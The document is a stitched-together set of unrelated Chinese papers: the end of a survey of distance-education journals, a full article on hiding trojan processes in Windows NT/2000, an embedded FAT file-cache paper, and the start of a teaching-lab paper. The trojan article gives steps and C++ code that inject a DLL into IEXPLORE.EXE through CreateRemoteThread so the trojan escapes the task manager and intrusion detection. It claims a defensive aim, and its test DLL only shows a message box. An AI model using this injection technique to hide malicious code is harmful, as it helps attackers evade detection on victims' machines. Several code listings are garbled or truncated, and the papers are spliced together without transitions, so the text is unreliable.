表五:數據分析技術在總文章數的比例
采用方法中國雜志英美雜志1.頻數和百分比4.2%22.6%2.相關0.18%1.9%3.平均數+標準差0%3.8%4.方法2+方法30%5.7%5.相關+回歸0%3.8%
3.論文主題的比較
根據論文的內容,本文把樣本的683篇文章劃分為20個主題,其統計結果詳見表六。
表六:論文主題的比較
主題中國雜志英美雜志1.開放與遠程教育總論23.5%7.5%2.歷史和發展6.0%9.4%3.理論和哲學6.1%5.7%4.研究方法0.2%0%5.教育計劃均等(包括注冊視聽生)4.4%1.9%6.管理和規劃6.0%5.7%7.學習者的特征0.7%3.8%8.學習模式的研究6.7%11.3%9.學生支持服務0.2%5.7%10.師生之間的互動和反饋0.2%1.9%11.學習材料的設計和發展5.3%7.5%12.教育技術和媒體10.9%15.1%13.新技術和媒體在實踐中的應用4.4%1.9%14.教育經濟學0.7%0%15.師資培訓3.0%1.9%16.質量保證13.9%11.3%17.文化和傳統0.4%0%18.學科研究2.8%9.4%19.國外遠程教育介紹2.8%0%20.非開放與遠程教育類文章1.5%0%
表六表明,我國論文屬于“總論”的論文的數量大大高于英美的這類論文。另外,在開放與遠程學習中學生的學習心理和學生支持服務方面,我國的研究明顯少于英美。
為了更清楚地表明我國和英美雜志的論文研究領域的現狀,表六的20個研究主題被歸為9個大的研究領域,比較結果詳見表七。
表七表明,我國在對遠程學習者和學習的研究比起英美要少的多,而在管理、學習材料的設計、教育經濟學、師資培訓方面的研究,我國與英美都顯得比較薄弱。
四、討論和建議
1.關于研究論文的格式和內容
①參考文獻從事任何一項研究,研究者首先必須全面地進行文獻查閱和評論,以確保其研究既是很有價值的,又進這一研究領域中的空白或不足,同時表明其研究是在以前有關研究的最高水平的基礎上進行的。研究者如果缺乏對文獻的研究,就很難證明其論文的水平。當然,每篇論文附上所有的參考文獻必然會占去相當多的篇幅。本文建議,對于一般的研究論文,至少應附上10篇左右的主要參考文獻,這既有助于他人對其論文質量的評價,又有利于他人拓展新的研究課題。
②研究方法研究方法對于某些研究報告來說是必不可少的,在采用調查法的報告中尤顯重要。若采用問卷調查,研究者必須在報告中表明調查的樣本,抽樣的技術,問卷的項目,問卷的可靠性和可行性,先行性研究和主要研究等等細節。例如,某研究者在廣州調查學生的職業期望與其家庭背景的關系,問卷的項目之一是讓學生填其父母的職業,有些學生由于父母下崗感到沒面子,于是對問卷產生反感,故意亂填,結果也必然失去了信度。又如采用訪談的研究方法,研究者必須在報告中介紹訪談的具體問題和訪談環境,采用的是何種方式,如果研究者采用了“誘導性”的問題,那么得到的結果必然也就失去信度。因此,對于研究報告,方法論一節對論文的質量保證是至關重要的。
③摘要文章摘要的好處是可以節約讀者的時間。讀者可以根據摘要迅速發現文章的主題、方法論、主要發現和論點、應用價值,從而決定讀與不讀、精讀與泛讀。尤其對重要的,或篇幅較長的研究論文來說,摘要是必不可少的。
表七:論文研究領域的比較
主題研究領域中國雜志英美雜志1~5開放與遠程教育的一般原理40.2%24.5%6管理和規劃6.0%5.7%7~10學習者和學習7.8%22.7%11學習材料的設計和發展5.3%7.5%12、13教育技術和媒體15.3%17%14教育經濟學0.7%0%15師資培訓3.0%1.9%16質量保證13.9%11.3%17~20其他1.5%0%
2.關于研究方法
我國的論文相當一部分是采用描述法,這類文章大多是在圖書館或辦公室做出來的,它有助于各抒己見,但其觀點往往與實踐脫節。從研究的角度來講,調查法應該是教育研究的核心,英美的論文中采用調查法的數量顯著地高于我國(55%:1.98%)。一般來說,高質量的教育研究不是在圖書館里做出來的,高水平的教育論文也不是在辦公室中“苦思冥想”寫出來的。文獻閱讀和“苦思冥想”只是研究前的必要準備,而主體應該到實踐中去調查、去訪問、去觀察,以獲得大量的定性資料和定量數據,再經過科學的分析和研究,這樣才有可能寫出高水平的對實踐有指導作用的或有應用價值的論文。
從我國目前的論文來看,定量數據分析的水平相當低,目前仍停留在百分比的低水平上。盡管我國許多研究人員都學過統計學,但很少有作者能熟練地把這些技術應用于數據分析中。另外,目前英美的教育研究越來越注重多種研究方法的結合,尤其是定性和定量方法的結合,以發揚每種方法的長處而彌補每種方法的不足,這是我們應該關注的。
3.關于研究的主題
本研究發現,我國的開放與遠程教育研究在某些領域,尤其在一些重要領域仍比較薄弱。一是對遠程學習者的研究,如學習者的認知方式,學習方式,學習模式等等,因為這類研究將直接有助于科學地進行教學設計和有效地呈現學習材料。二是學習材料的設計和開發。良好的學習材料的設計是開放與遠程教育成功的關鍵因素之一。由于學生主要是通過自學,學習材料的設計應同傳統教材有很大區別,而這一領域的研究與開發則是我國目前的一個弱項,應引起研究者的注意。三是學生的支持服務。我國的學生習慣于“教師為中心”的傳統教學模式,如何使遠程學習者適應全新的學習環境,這是一項重要的研究課題。
另外,有一些領域是我國和英美國家共同需要重視的:一是導修老師的培訓,即如何保證兼職導修老師的輔導質量;二是教育經濟學,例如,各國都在試行網上學習,我們應該分析為網上教學投入的人、財、物等,比較網上學習和其他媒體學習的效果,由此確定是否值得進一步推廣,或探討推廣的范圍和進度,這就需要專業研究人員從經濟學的角度作深入研究。
參考文獻
1.《中國電大教育》(月刊),中央廣播電視大學主辦,1997和1998年全刊
2.《開放教育研究》(雙月刊),上海電視大學主辦,1997和1998年全刊
3.《現代遠距離教育》(季刊),黑龍江廣播電視大學主辦,1997和1998年全刊
4.《OpenLearning》(Feb.,July,November),OpenUniversityinGreatBritain,1997&1998
摘要進程的隱藏一直是木馬程序設計者不斷探求的重要技術,本文采用遠程線程技術,通過動態鏈接庫方法,較好地解決了這一問題,通過遠程線程將木馬作為線程隱藏在其他進程中,從而達到隱藏的目的。
關鍵字進程線程木馬動態鏈接庫
木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。
本文分析了WindowsNT/2000系統下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現WindowsNT/2000系統中進程的隱藏。
1基本原理
在WIN95/98中,只需要將進程注冊為系統服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統下,可執行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發現木馬的方法之一,隨著入侵檢測軟件的不斷發展,關聯進程和SOCKET已經成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發現木馬線程的存在,從而達到隱藏的目的。
2實現方法
為了弄清實現方法,我們必須首先了解Windows系統的另一種"可執行文件"----DLL,DLL是DynamicLinkLibrary(動態鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現那個進程而并不會出現木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。
運行DLL方法有多種,但其中最隱蔽的方法是采用動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們仍然可以利用種種方法進入并操作進程的私有內存。動態嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態鏈接庫的知識就可以很輕松地完成動態嵌入。
遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。
3實施步驟
1)用Process32Next()函數找到宿主進程,獲取宿主進程ID,并用
OpenProcess()函數打開宿主進程。
2)用VirtualAllocEx()函數分配遠程進程地址空間中的
內存。
3)用WriteProcessMemory()函數將待隱藏的DLL的路徑名。
4)拷貝到步驟二已經分配的內存中。
5)用GetProcAddress()函數獲取LoadlibraryA()函數的實地址(在kernel32.dll中)。
6)用CreateRemoteThread()函數在遠程進程中創建一個線程。
7)它調用正確的LoadlibraryA()函數。
8)為它傳遞步驟二中分配的內存地址。
4具體實例
下面是在C++Builder4.0環境下編寫的運用遠程線程技術隱藏木馬的程序代碼:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隱藏的DLL文件名
HANDLEhProcessSnap=NULL;//進程快照句柄
HANDLEhRemoteProcess;//遠程進程句柄
LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放遠程線程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打開進程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失敗返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//獲取第一個進程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主進程,以IEXPLORE.EXE為例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程
}
else
{
MessageBox(NULL,"取第一個進程失敗","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打開遠程進程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假設hide.dll是待隱藏的進程
intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申請存放文件名的空間
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名寫入申請的空間
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//獲取動態鏈接庫函數地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//創建遠程線
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//關閉遠程線程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//關閉進程快照
}
該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。
至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經正常地在遠程線程運行,我同樣在C++Builder4.0環境下編寫并編譯了下面的hide.dll作為測試:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//獲取當前進程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
這證明hide.dll已經在IEXPLORE.EXE進程內正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。
5結束語
進程隱藏技術和方法有很多,而且這一技術發展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。
參考文獻
關鍵詞:高速緩存管理方案;回寫;最久未使用頁面替換算法;塊設備
中圖分類號:TP311文獻標識碼:A 文章編號:1009-3044(2008)14-20000-00
Embedded System Cache Management
ZHONG Rui1,FANG Wen-kai2
(1.School of Electronics Science and Engeering, Southeast University, Nanjing 210096,China;2.School of Integrated Circuit, Southeast University,Nanjing 210096,China)
Abstract: A new file cache management based on Least Recently Used (LRU) was bring forward and realized in this paper. The impact of this cache management on embedded system files is proved to be positive. NorFlash as an example, after the use of this cache management, the write speed of mass and little files upgrade 20%, and read speed upgrade from 30% to 40%. To large-capacity data transmission, proper adjustment of cache capacity, we can also makes writing speed upgrade 2% and read rate increase of around 10%.
Key words: Cache Management; Write-back; Least Recently Used; Block device
1 論文研究背景
嵌入式系統的運行環境遠不同于PC機;嵌入式系統的存儲介質多為塊設備,其存儲原理與磁盤設備差異很大;桌面文件系統為提高讀寫性能盡可能使用較大的文件緩存,嵌入式系統必須針對資源限制設計特定的緩存管理單元,并盡量適應于塊設備的操作特點。
目前,嵌入式領域有多種文件系統可供選擇:RomFS是只讀文件系統,可以放在ROM空間,也可以放在系統RAM中,通常用作嵌入式Linux的根文件系統;JFFS/JFFS2是專為Flash設計的日志文件系統,它們提供了很好的掉電保護措施,并能平衡讀寫Flash設備,但是它們需要占用大量RAM空間,在文件系統接近滿時,它們速度會變得很慢,同時啟動的時候需要掃描日志節點,不太適合大容量存儲應用;Yaffs是專為NandFlash設計的日志文件系統,其針對NandFlash訪問的特點進行優化(如塊的讀寫、壞塊管理等),但欠缺通用性;Ext2是Linux下使用的文件系統,具有支持存儲容量大,訪問速度快等優點,但是對Flash存儲設備支持不好;FAT文件系統是目前桌面系統中使用最廣泛的文件系統,其文件管理方便、通用性好,但是同樣不能直接用于嵌入式應用,它的緩存管理單元主要針對pc機的磁盤管理,運用于塊存儲設備并不能有效提升文件的讀寫速度。我們由此進行了專項開發。東南大學國家專用集成電路工程技術中心針對這一需求進行了將FAT文件系統運用到嵌入式系統的研究工作。
2 高速緩存管理原理
高速緩沖存儲器(Cache),是一種加速內存或磁盤存取的技術,主要用來提升系統響應的速度。其作用的原理在于使用較快速的存儲裝置保留一份從慢速存儲裝置中所讀取的數據,當需要再從較慢的存儲體中讀寫數據時,Cache能夠使讀寫的動作先在快速的裝置上完成。這樣可以使得系統的響應較為快速。
這種技術如果僅僅使用在讀數據這一方面,則沒有任何問題。如果還要用在寫上,即寫入Cache中的數據不立即回寫真正的存儲體,則一旦電源中斷或出現其它意外會導致數據的流失。而每次都將數據寫入真正的存儲體,會使Cache只能發揮加速讀取的功能,而不能加速寫入。這樣的情況使Cache的寫入方式分為兩類:
(1)直寫式(Write-through):每次遇到寫入Cache的同時,也把數據寫入真正的存儲設備,以保證Cache和真正的存儲設備中的單元數據的一致性。直寫式系統簡單可靠,但每次更新Cache時都要對真正的存儲設備寫入,因此速度受到了影響。
(2)回寫式(Write-back):數據一般只寫到Cache,這樣可能出現Cache中的數據得到更新而存儲體中的數據不變的情況。但此時可在Cache中設一標志表示數據是否需要回寫,等系統有空或這部分Cache需要存儲其它數據或等到一定的時間后,再將數據寫回存儲設備,這種做法是用承擔一點風險來換取效率的。
在嵌入式文件系統中,同樣需要使用高速緩沖技術來提升文件系統的性能。由于嵌入式系統的資源有限,同時針對嵌入式系統塊設備的存儲特點(塊讀、塊寫),需要設計針對嵌入式應用特點的高速緩存管理。本論文設計了一種針對嵌入式應用特點的高速緩存管理單元,其具有如下特點:(1)軟件模塊化設計,提供統一接口,便于移植到不同平臺;(2)采用回寫方式提升寫入效率,同時具有一定的掉電保護措施;(3)設計最久未使用頁面替換算法(LRU)提升Cache系統的命中率;(4)以塊設備的塊大小為緩沖單元,實現對塊設備讀寫的優化;下面將具體介紹本論文設計的高速緩存管理模塊的實現方法。
3 實現代碼
3.1 文件系統Cache的主數據結構
本論文的Cache管理系統將Cache設計成保存在內存中的一個結構體數組。數組的每一個元素緩沖了存儲設備的一個簇的數據,同時還保存了為便于操作的其他必要信息。Cache結構定義的代碼清單如List 3.1所示:
List 3.1 文件系統Cache的主要數據結構
typedef struct _Disk_Cache{
U8DriveNo;//設備號,
U8 Flag;//狀態
U16RW_ID;//讀/寫標志
U32CluNo; //緩沖的簇號
U8 buf[DISK_CACHE_SIZE]; //緩沖//數據區
}DISK_CACHE;
Cache的大小可以采用靜態分配的方法,其代碼見List 3.2。
List 3.2 Cache存儲大小分配
DISK_CACHE DiskCache[MAX_DISK_CACHE] //Cache大小
其中MAX_DISK_CACHE的值,如果太小則Cache性能提升不明顯,太大則占據大量系統內存資源。在實際應用中,需要根據系統資源和性能要求作出合理的折衷。
3.2 Cache管理的主要操作
本論文設計的Cache管理可以作為一個獨立的Cache管理模塊,與文件系統本身有一定的獨立性。Cache管理模塊對文件系統提供了統一的API接口。表1為所使用API的列表,本節將介紹這些函數的實現過程。
3.2.1 初始化操作
在使用Cache前必須要對各Cache元素進行初始化操作. Cache初始化是調用函數CacheInit()完成的。函數CacheInit()的代碼如List 3.3所示。代碼很簡單,僅僅是把Cache數組所有元素的所有成員賦一定的初值。
3.2.2 打開存儲設備的簇
在讀寫存儲設備的扇區之前必須打開它,這時通過調用函數OpenClu()實現的。函數OpenClu()有兩個參數,其中DriverNo指出需要操作的設備號,index指出在指定設備上需要操作的簇號。此函數將返回一個指針指向簇數據的讀寫位置。如果返回值為NULL,則表示簇打開失敗。函數原型如List 3.4所示。
List 3.4 函數OpenClu()的原型
U8 * OpenClu(U8 DriveNo, U32 index)
3.2.3 分配Cache項
在前面的打開簇函數中使用到了為簇分配Cache項函數GetCache(),該函數是Cache管理的核心,它提供了一種Cache頁面替換算法。
所謂Cache頁面替換算法,就是當Cache空間已滿時,文件系統必須從Cache中選擇一項刪除掉以便為即將被調入的數據讓出空間。被刪除的項將根據被修改與否決定是否直接從Cache刪除還是回寫如存儲設備。
Cache的效能依算法的不同有好壞之分,估量的單位通常使用命中率。很明顯把最不常使用的頁面替換出緩存是提高命中率的好方法。為了找出最不常使用的緩存項替換掉,人們已經在理論和實踐上對頁面替換算法進行了深入的研究。
目前研究的頁面替換算法主要有:最近未使用頁面替換算法、先進先出頁面替換算法、時鐘頁面替換算法、最久未使用頁面替換算法等。
本論文使用的是最久未使用頁面替換算法(LRU)。該算法是基于這樣的設想:很久沒有使用的數據簇可能在未來較長一段時間內也不會被使用。因此LRU算法的替換策略是替換那些最久未被使用的數據簇。
本論文分配Cache項函數GetCache()核心的工作就是使用LRU算法找出可以被替換的數據簇。該函數結合函數OpenClu()中每次訪問Cache都把所有Cache元素RW_ID成員加1的功能,找出RW_ID參數值最大的一個Cache元素(可能有多個,選擇最先找到的),將其回寫存儲設備(如果需要的話)并替換出去。
List 3.5 函數GetCache()
U16 GetCache(void){
U16 Max;
U16 i,j;
Max = 0;
j = 0;
for(i = 0; i
if(Max
Max = DiskCache[i].RW_ID;
j = i;
}
if(Max == (U16)(-1)){
break;//如Max已是最大值,
//則不要繼續搜索
}
}
if(j
{
if(DiskCache[j].DriveNo !=
EMPTY_DRIVE){(1)
if((DiskCache[j].Flag&
CACHE_WRITE)!=0) {
CacheWriteBack(j);
}
}
}
return j;}
List 3.5(1)中DiskCache[j]即為要替換的Cache數組元素。CacheWriteBack()函數實現了將緩沖數據寫回物理存儲設備的功能。Cache管理系統中,此部分需要跟物理設備操作有關,移植的時候需要加以改寫。
3.2.4 從設備讀數據到Cache
函數OpenClu()僅僅為設備的簇分配了Cache,如果程序需要事先把簇中的數據讀出來,需要調用函數ReadClu()。函數ReadClu()的參數同樣是需要讀取簇的設備號和設備內簇號。此函數將返回一個狀態碼,其中RETURN_OK表示成功,SECTOR_READ_ERR表示底層驅動讀操作失敗,NOT_FIND_DISK表明沒有找到指定的設備等。
3.2.5 置寫標志函數
根據前面對于Cache數據結構的介紹,需要回寫的Cache塊的Flag元素需標記為已被修改。函數WriteClu()就是完成這樣的功能。它有兩個參數,設備號和要操作的設備簇號,該函數首先根據設備號和簇號查找Cache數組DiskCache[],找到設備簇在Cache中的緩存數組元素,然后將該元素的Flag標志置為CACHE_WRITE(或操作)。
3.2.6 回寫存儲設備
函數CacheWriteBack()實現改動數據的回寫。該函數只有一個參數index,為Cache數組的下標號,即根據下標號,讀取指定Cache項的設局結構,根據DriveNo成員決定的設備號,讀取設備的DROBJ結構(在其它文件系統中可能不同)以獲取操作設備的信息,然后將Cache的Flag標記置回無需回寫狀態并調用設備驅動完成回寫操作。
3.3 Cache管理的掉電處理
本論文采用回寫式的Cache管理。前面提到這種方法為提升性能而承擔了一定的風險,即有可能在Cache中數據尚未回寫時發生了掉電等異常情況導致系統失去響應,這樣新寫入的數據將丟失,之前的寫入操作失敗。為了在一定程度上解決此問題,本論文采用如下規則:(1)在設備關閉時Cache中所有與之相關的項必須回寫;(2)在系統空閑的時候,可以運行一個優先級較低的回寫任務,該任務完成查找Cache數組中所有成員標志為已改寫的元素,將其回寫。
另外,文件系統掉電保護還包括FAT表與文件數據一致性的問題,即在文件數據操作和FAT表更新操作之間發生掉電等異常,導致文件數據與FAT表數據不一致。對于此問題的處理,本論文采用如下的規則:
(1)有修改完FAT表后,才允許刪除對應簇的無效數據;(2)應用程序調用了一個文件操作接口之后返回之前,必須完成FAT表的更新以及FAT表的備份;(3)文件的新數據在寫入物理存儲設備之后,才允許修改FAT表。
采用上述措施后,即使寫入某簇的時候發生錯誤,也可以采取錯誤處理進行補救,或者直接返回給上層的應用,或者重新申請一個新的簇。總之,不至于在FAT表上出現不合事實的錯誤。
3.4 Cache管理在文件系統中的應用
上述Cache管理操作是以文件簇為單位的,而文件系統最終通過設備驅動以簇為單位操作設備上的數據的,因此只需對設備驅動作一定的修改,在驅動中調用表3.1中的Cache管理API函數就可以實現用上述Cache管理方法管理設備上的數據了。
以NorFlash驅動為例,介紹Cache管理的添加。根據2.5.1節關于驅動的介紹可知NorFlash驅動中與存儲介質進行數據交互的函數是nor_rd_io(),需要對此函數進行改寫。為便于說明,將此函數的原型列如下:
int nor_rd_io(U16 driveno, U32 page, void *buffer, U16 count, int do_read)
函數中driveno為操作扇區號,page為操作的簇號,buffer為讀寫數據的緩沖區,count為操作的次數,do_read為讀寫的標志(1為讀,0為寫)。
首先根據函數的讀寫標志確定操作類型。如果是讀操作,則先調用函數CluinCache()判斷要讀取的文件簇是否在Cache中已經緩存,如已經緩存,則根據緩存的數組下標,直接讀Cache項buf[]中存儲的數據到buffer中;若不在緩存中,則通過替換算法在Cache中找到一項用于替換,調用NorFlash驅動,將設備上的數據同時寫入buffer和Cache項的buf[]元素中,以便于下次訪問使用方便。對于寫操作,可以首先判斷所寫的簇是否在Cache中,如在,則更新Cache項中buf[]內容;如不在,則根據替換算法找到新的Cache項,并將buffer寫入新Cache項中buf[]。寫操作采用的是Cache回寫策略,此時并沒有回寫物理設備,回寫物理設備的操作是在Cache回寫函數中完成的。
上述高速緩存的使用,有效地減少了設備的存取次數,提高了系統的通過能力并降低平均響應時間,特別是在做數據傳輸時,數據停留在高速緩存中,直到系統認為適當的時候才進行數據傳輸。另外,最久未使用頁面替換算法(LRU)的使用大大提高了Cache系統的命中率,提高了文件系統的讀寫性能。
4 測試與評估
4.1 測試平臺
本調試平臺由基于SEP3203的實驗開發板,JTAG仿真器和運行于主機上的集成開發環境(IDE)組成。將開發板通過JTAG仿真器連接到PC機上的集成調試環境(IDE)軟件平臺,在IDE中統一完成匯編/C 語言的編輯、編譯、連接。IDE選擇ARM 公司的開發軟件(SDT2.5、ADS1.2),利用處理機的Embedded-ICE 性能,通過JTAG 接口實現實時的仿真調試。使用ARM ADS,并通過JTAG仿真器,就可以實現針對ARM處理器開發板的板極調試。目前ARM ADS的最新版本為1.2。本論文使用ADS的集成開發環境CodeWarrior IDE作為代碼編譯的工具,運用ARM擴展調試器AXD進行代碼的調試和結果觀察。
為了全面測試加上Cache管理模塊后文件系統性能的提升,現以NorFlash的讀寫為例,將測試過程分為如下三步驟:
4.1.1 小文件寫入測試
將Cache數組的元素參數MAX_DISK_CACHE設為20,根據第三章介紹的文件系統API函數,在設備上建立10個文件,每個文件中寫入512字節的任意數據,寫完之后關閉上述文件。測試整個過程的完成時間。將文件數目增加到20,文件大小增加到1024字節,重復測試得下表所示結果。
未使用Cache管理系統的情況下,重復上述測試過程結果如下。
通過比較兩次測試的結果可知,采用回寫式Cache管理的文件系統在寫入操作時減少了對存儲設備的訪問次數,大大提升了對多次、小文件的寫入速度。上述兩表中對于寫入相同文件數目而文件大小不同情況下,寫入速度差別并不大。這是因為文件大小都沒有超過NorFlash操作的基本單位――塊。
4.1.2 小文件讀出測試
對于上面創建的文件再調用文件系統API函數,測試文件的讀出速度。測試分兩種情況。首先,在寫入后立即讀出,此時數據仍在Cache中,可以作為使用Cache情況下讀出速度的測試;然后,將設備掉電,Cache中數據清除,再測量讀出時間,此時可以作為未使用Cache下的讀速度。按照這樣的測試過程,得到如下兩表。
根據上面兩表結果可以看出在使用Cache和未使用Cache的情況下,小文件的讀出速度提高明顯,約有30%-40%的提升。
4.1.3 大容量數據的讀寫測試
在Flash上只建立一個文件,向文件中分別寫入大小不等的數據,測試文件的寫入速度如下表所示。
從上表可以看出,當寫入的容量較大時,寫入速度提升的并不明顯。這是因為當寫入的數據比Cache的容量大的多時,寫入數據Cache的緩沖作用將不大,數據近似地等價于是直接地寫入物理設備。測試的結果與理論分析相吻合。
將寫入的大容量數據進行讀出測試,測試的結果如表7所示。
可見讀出與Cache容量相差越大的數據,讀速度差別越小。從理論上分析可知,Cache中不能夠為大容量的數據緩存,每次讀取數據時Cache的命中率很低,均須訪問實際物理設備,因而讀速度提升不明顯。
實際應用中,應該首先知道系統可供文件系統使用的內存大小,根據可用內存情況設置高速緩存的大小。同時還應該知道,應用中需要經常傳輸文件的大小,如容量較小,則緩存單元可選用塊的大小,如需要傳輸的文件都很大,也可將數塊作為基本緩沖單元。總之,實際應用中,可以根據需要合理定制緩存參數,最終達到性能和資源消耗的較好折衷。
5 結束語
本文介紹了一種針對嵌入式應用的高速緩存管理方案。該高速緩存管理具有模塊化、易于移植的特點,且采用了最久未使用頁面替換算法(LRU)作為緩存替換策略,方法簡潔、資源占有率低且具有較高的緩存命中率,同時該緩存管理還具有一定的掉電保護措施。經實踐測試本方案能有效的提升嵌入式系統的讀寫速度。
參考文獻:
[1] 卓越. FAT文件系統在嵌入式塊設備系統中的優化[D].東南大學,2007.
[2] 硬盤FAT文件系統原理的詳細分析[DB/OL]. /.
[3] Microsoft Crop. FAT32 File System Specification, 2000.
[4] 湯錚.基于嵌入式技術的電力裝置文件系統及邏輯組態的研究[D].南京 東南大學電力系統及其自動化系,2005.
[5] 孫濤. 基于ARM的嵌入式閃存文件系統的研究與實踐[D].湖北工業大學計算機系,2005.
[6] 趙俊才.DOS文件系統在Flash存儲介質上的實現[D].中國科學院計算機計數研究所,1999.
[7] 張延虎.嵌入式設備中文件系統的研究與實現[D].北京科技大學控制理論與控制工程系,2001.
[8] 馮福香.LINUX文件系統的性能、可擴展性和緩沖技術研究[D].南京大學軟工程系,2004.
[9] Bart Broekman,Edwin Notenboom(美) .嵌入式軟件測試[M].電子工業出版社,2004.
關鍵詞:測試技術;仿真實驗;PLC;InTouch;教學
中圖分類號:G642 文獻標志碼:A 文章編號:1674-9324(2013)38-0248-03
《測試技術與信號分析》課程是高等院校機械類專業基礎課。而在高等院校中,相對于理論教學,實驗室的建設則明顯滯后于學科建設的步法,因而造成理論教學和實驗教學相脫節的現象。本文根據課程的教學內容與特點,設計開發了測試技術仿真實驗教學平臺,通過可視化仿真軟件將教學內容進行再現,給學生以直觀、形象的認識。這種教學方式便于靈活安排教學和實驗內容,達到提高授課質量、培養學生綜合能力的目的。
一、仿真實驗的內容與設計
測試技術課程涉及的知識面廣,學科跨度大。經過廣泛調研,本仿真實驗平臺以過程控制系統中的液位、溫度、壓力與流量四個物理量作為測試與控制的目標,在結構上則采用模塊化設計,安排在同一個系統中。要求仿真實驗不但能對各個模塊的物理量進行實時測試與監控,而且還具有目標值設定、參數調整及曲線繪制等功能。在仿真實驗的實現上,通過建立各模塊回路的模型,利用PLC對控制系統進行軟、硬件設計,并基于InTouch開發仿真軟件,實現實驗過程的實時監控。
二、實驗模型的建立
